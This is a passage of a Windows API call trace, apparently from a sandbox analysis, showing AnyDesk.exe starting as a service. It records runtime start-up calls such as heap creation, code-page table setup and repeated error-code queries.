(in: lpAddress=0x1b39000, dwSize=0xe00, flNewProtect=0x2, lpflOldProtect=0x36e904 | out: lpflOldProtect=0x36e904*=0x40) returned 1 [0188.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36e8bc | out: lpSystemTimeAsFileTime=0x36e8bc*(dwLowDateTime=0x8bf2ebb0, dwHighDateTime=0x1d8a8f3)) [0188.730] GetCurrentProcessId () returned 0x994 [0188.730] GetCurrentThreadId () returned 0x998 [0188.730] GetTickCount () returned 0x187fc02 [0188.730] QueryPerformanceCounter (in: lpPerformanceCount=0x36e8b4 | out: lpPerformanceCount=0x36e8b4*=2582774671486) returned 1 [0188.814] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x3b0000 [0188.819] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0188.819] GetProcAddress (hModule=0x752b0000, lpProcName="FlsAlloc") returned 0x752c4ee3 [0188.819] GetProcAddress (hModule=0x752b0000, lpProcName="FlsGetValue") returned 0x752c1252 [0188.819] GetProcAddress (hModule=0x752b0000, lpProcName="FlsSetValue") returned 0x752c41c0 [0188.819] GetProcAddress (hModule=0x752b0000, lpProcName="FlsFree") returned 0x752c354f [0188.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x214) returned 0x3b07d0 [0188.821] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0188.821] GetCurrentThreadId () returned 0x998 [0188.821] GetCommandLineA () returned="\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\" --service" [0188.821] GetEnvironmentStringsW () returned 0x5b00e8* [0188.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1377, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1377 [0188.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x561) returned 0x3b09f0 [0188.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1377, lpMultiByteStr=0x3b09f0, cbMultiByte=1377, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1377 [0188.821] FreeEnvironmentStringsW (penv=0x5b00e8) returned 1 [0188.821] GetStartupInfoW (in: lpStartupInfo=0x36e804 | out: lpStartupInfo=0x36e804*(cb=0x44, lpReserved="", lpDesktop="", lpTitle="C:\\ProgramData\\AnyDesk\\AnyDesk.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x80, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0xfd5000, hStdError=0x561)) [0188.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x800) returned 0x3b0f60 [0188.822] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0188.822] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0188.822] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0188.822] SetHandleCount (uNumber=0x20) returned 0x20 [0188.822] GetLastError () returned 0x7a [0188.822] SetLastError (dwErrCode=0x7a) [0188.822] GetLastError () returned 0x7a [0188.822] SetLastError (dwErrCode=0x7a) [0188.822] GetLastError () returned 0x7a [0188.822] SetLastError (dwErrCode=0x7a) [0188.822] GetACP () returned 0x4e4 [0188.822] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x220) returned 0x3b1768 [0188.822] GetLastError () returned 0x7a [0188.822] SetLastError (dwErrCode=0x7a) [0188.822] IsValidCodePage (CodePage=0x4e4) returned 1 [0188.822] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x36e7cc | out: lpCPInfo=0x36e7cc) returned 1 [0188.823] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x36e298 | out: lpCPInfo=0x36e298) returned 1 [0188.823] GetLastError () returned 0x7a [0188.823] SetLastError (dwErrCode=0x7a) [0188.823] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x36e6ac, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0188.823] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x36e6ac, cbMultiByte=256, lpWideCharStr=0x36e018, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿʨŔĀ") returned 256 [0188.823] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿʨŔĀ", cchSrc=256, lpCharType=0x36e2ac | out: lpCharType=0x36e2ac) returned 1 [0188.823] GetLastError () returned 0x7a [0188.823] SetLastError (dwErrCode=0x7a) [0188.823] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x36e6ac, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0188.823] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x36e6ac, cbMultiByte=256, lpWideCharStr=0x36dfe8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0188.823] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0188.823] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x36ddd8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0188.823] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x36e5ac, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿÚ²ÆÒäç6", lpUsedDefaultChar=0x0) returned 256 [0188.823] GetLastError () returned 0x7a [0188.823] SetLastError (dwErrCode=0x7a) [0188.823] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x36e6ac, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0188.823] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x36e6ac, cbMultiByte=256, lpWideCharStr=0x36e008, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0188.823] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0188.823] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x36ddf8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0188.823] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x36e4ac, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿÚ²ÆÒäç6", lpUsedDefaultChar=0x0) returned 256 [0188.824] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1b30138, nSize=0x104 | out: lpFilename="C:\\ProgramData\\AnyDesk\\AnyDesk.exe" (normalized: "c:\\programdata\\anydesk\\anydesk.exe")) returned 0x22 [0188.824] GetLastError () returned 0x0 [0188.824] SetLastError (dwErrCode=0x0) [0188.824] GetLastError () returned 0x0 [0188.824] SetLastError (dwErrCode=0x0) [0188.824] GetLastError () returned 0x0 [0188.824] SetLastError (dwErrCode=0x0) [0188.824] GetLastError () returned 0x0 [0188.824] SetLastError (dwErrCode=0x0) [0188.824] GetLastError () returned 0x0 [0188.824] SetLastError (dwErrCode=0x0) [0188.824] GetLastError () returned 0x0 [0188.824] SetLastError (dwErrCode=0x0) [0188.824] GetLastError () returned 0x0 [0188.824] SetLastError (dwErrCode=0x0) [0188.825] GetLastError () returned 0x0 [0188.825] SetLastError (dwErrCode=0x0) [0188.825] GetLastError () returned 0x0 [0188.825] SetLastError (dwErrCode=0x0) [0188.825] GetLastError () returned 0x0 [0188.825] SetLastError (dwErrCode=0x0) [0188.825] GetLastError () returned 0x0 [0188.825] SetLastError (dwErrCode=0x0) [0188.825] GetLastError () returned 0x0 [0188.825] SetLastError (dwErrCode=0x0) [0188.825] GetLastError () returned 0x0 [0188.825] SetLastError (dwErrCode=0x0) [0188.825] GetLastError () returned 0x0 [0188.825] SetLastError (dwErrCode=0x0) [0188.825] GetLastError () returned 0x0 [0188.825] SetLastError (dwErrCode=0x0) [0188.825] GetLastError () returned 0x0 [0188.825] SetLastError (dwErrCode=0x0) [0188.826] GetLastError () returned 0x0 [0188.826] SetLastError (dwErrCode=0x0) [0188.826] GetLastError () returned 0x0 [0188.826] SetLastError (dwErrCode=0x0) [0188.826] GetLastError () returned 0x0 [0188.826] SetLastError (dwErrCode=0x0) [0188.826] GetLastError () returned 0x0 [0188.826] SetLastError (dwErrCode=0x0) [0188.826] GetLastError () returned 0x0 [0188.826] SetLastError (dwErrCode=0x0) [0188.826] GetLastError () returned 0x0 [0188.826] SetLastError (dwErrCode=0x0) [0188.826] GetLastError () returned 0x0 [0188.826] SetLastError (dwErrCode=0x0) [0188.826] GetLastError () returned 0x0 [0188.826] SetLastError (dwErrCode=0x0) [0188.826] GetLastError () returned 0x0 [0188.826] SetLastError (dwErrCode=0x0) [0188.827] GetLastError () returned 0x0 [0188.827] SetLastError (dwErrCode=0x0) [0188.827] GetLastError () returned 0x0 [0188.827] SetLastError (dwErrCode=0x0) [0188.827] GetLastError () returned 0x0 [0188.827] SetLastError (dwErrCode=0x0) [0188.827] GetLastError () returned 0x0 [0188.827] SetLastError (dwErrCode=0x0) [0188.827] GetLastError () returned 0x0 [0188.827] SetLastError (dwErrCode=0x0) [0188.827] GetLastError () returned 0x0 [0188.827] SetLastError (dwErrCode=0x0) [0188.827] GetLastError () returned 0x0 [0188.827] SetLastError (dwErrCode=0x0) [0188.827] GetLastError () returned 0x0 [0188.827] SetLastError (dwErrCode=0x0) [0188.827] GetLastError () returned 0x0 [0188.827] SetLastError (dwErrCode=0x0) [0188.827] GetLastError () returned 0x0 [0188.828] SetLastError (dwErrCode=0x0) [0188.828] GetLastError () returned 0x0 [0188.828] SetLastError (dwErrCode=0x0) [0188.828] GetLastError () returned 0x0 [0188.828] SetLastError (dwErrCode=0x0) [0188.828] GetLastError () returned 0x0 [0188.828] SetLastError (dwErrCode=0x0) [0188.828] GetLastError () returned 0x0 [0188.828] SetLastError (dwErrCode=0x0) [0188.828] GetLastError () returned 0x0 [0188.828] SetLastError (dwErrCode=0x0) [0188.828] GetLastError () returned 0x0 [0188.828] SetLastError (dwErrCode=0x0) [0188.828] GetLastError () returned 0x0 [0188.828] SetLastError (dwErrCode=0x0) [0188.828] GetLastError () returned 0x0 [0188.828] SetLastError (dwErrCode=0x0) [0188.828] GetLastError () returned 0x0 [0188.829] SetLastError (dwErrCode=0x0) [0188.829] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x39) returned 0x3b1990 [0188.829] GetLastError () returned 0x0 [0188.829] SetLastError (dwErrCode=0x0) [0188.829] GetLastError () returned 0x0 [0188.829] SetLastError (dwErrCode=0x0) [0188.829] GetLastError () returned 0x0 [0188.829] SetLastError (dwErrCode=0x0) [0188.829] GetLastError () returned 0x0 [0188.829] SetLastError (dwErrCode=0x0) [0188.829] GetLastError () returned 0x0 [0188.829] SetLastError (dwErrCode=0x0) [0188.829] GetLastError () returned 0x0 [0188.830] SetLastError (dwErrCode=0x0) [0188.830] GetLastError () returned 0x0 [0188.830] SetLastError (dwErrCode=0x0) [0188.830] GetLastError () returned 0x0 [0188.830] SetLastError (dwErrCode=0x0) [0188.830] GetLastError () returned 0x0 [0188.831] SetLastError (dwErrCode=0x0) [0188.831] GetLastError () returned 0x0 [0188.831] SetLastError (dwErrCode=0x0) [0188.831] GetLastError () returned 0x0 [0188.831] SetLastError (dwErrCode=0x0) [0188.831] GetLastError () returned 0x0 [0188.831] SetLastError (dwErrCode=0x0) [0188.831] GetLastError () returned 0x0 [0188.831] SetLastError (dwErrCode=0x0) [0188.831] GetLastError () returned 0x0 [0188.831] SetLastError (dwErrCode=0x0) [0188.831] GetLastError () returned 0x0 [0188.831] SetLastError (dwErrCode=0x0) [0188.831] GetLastError () returned 0x0 [0188.831] SetLastError (dwErrCode=0x0) [0188.831] GetLastError () returned 0x0 [0188.831] SetLastError (dwErrCode=0x0) [0188.831] GetLastError () returned 0x0 [0188.832] SetLastError (dwErrCode=0x0) [0188.832] GetLastError () returned 0x0 [0188.832] SetLastError (dwErrCode=0x0) [0188.832] GetLastError () returned 0x0 [0188.832] SetLastError (dwErrCode=0x0) [0188.832] GetLastError () returned 0x0 [0188.832] SetLastError (dwErrCode=0x0) [0188.832] GetLastError () returned 0x0 [0188.832] SetLastError (dwErrCode=0x0) [0188.832] GetLastError () returned 0x0 [0188.832] SetLastError (dwErrCode=0x0) [0188.832] GetLastError () returned 0x0 [0188.832] SetLastError (dwErrCode=0x0) [0188.832] GetLastError () returned 0x0 [0188.832] SetLastError (dwErrCode=0x0) [0188.832] GetLastError () returned 0x0 [0188.832] SetLastError (dwErrCode=0x0) [0188.832] GetLastError () returned 0x0 [0188.833] SetLastError (dwErrCode=0x0) [0188.833] GetLastError () returned 0x0 [0188.833] SetLastError (dwErrCode=0x0) [0188.833] GetLastError () returned 0x0 [0188.833] SetLastError (dwErrCode=0x0) [0188.833] GetLastError () returned 0x0 [0188.833] SetLastError (dwErrCode=0x0) [0188.833] GetLastError () returned 0x0 [0188.833] SetLastError (dwErrCode=0x0) [0188.833] GetLastError () returned 0x0 [0188.833] SetLastError (dwErrCode=0x0) [0188.833] GetLastError () returned 0x0 [0188.833] SetLastError (dwErrCode=0x0) [0188.833] GetLastError () returned 0x0 [0188.833] SetLastError (dwErrCode=0x0) [0188.833] GetLastError () returned 0x0 [0188.833] SetLastError (dwErrCode=0x0) [0188.833] GetLastError () returned 0x0 [0188.834] SetLastError (dwErrCode=0x0) [0188.834] GetLastError () returned 0x0 [0188.834] SetLastError (dwErrCode=0x0) [0188.834] GetLastError () returned 0x0 [0188.834] SetLastError (dwErrCode=0x0) [0188.834] GetLastError () returned 0x0 [0188.834] SetLastError (dwErrCode=0x0) [0188.834] GetLastError () returned 0x0 [0188.834] SetLastError (dwErrCode=0x0) [0188.834] GetLastError () returned 0x0 [0188.834] SetLastError (dwErrCode=0x0) [0188.834] GetLastError () returned 0x0 [0188.834] SetLastError (dwErrCode=0x0) [0188.834] GetLastError () returned 0x0 [0188.834] SetLastError (dwErrCode=0x0) [0188.834] GetLastError () returned 0x0 [0188.834] SetLastError (dwErrCode=0x0) [0188.834] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8c) returned 0x3b19d8 [0188.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1f) returned 0x3b1a70 [0188.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x41) returned 0x3b1a98 [0188.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x37) returned 0x3b1ae8 [0188.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x3c) returned 0x3b1b28 [0188.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x31) returned 0x3b1b70 [0188.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x18) returned 0x3b1bb0 [0188.835] RtlAllocateHeap (HeapHandle=0x3b0000, 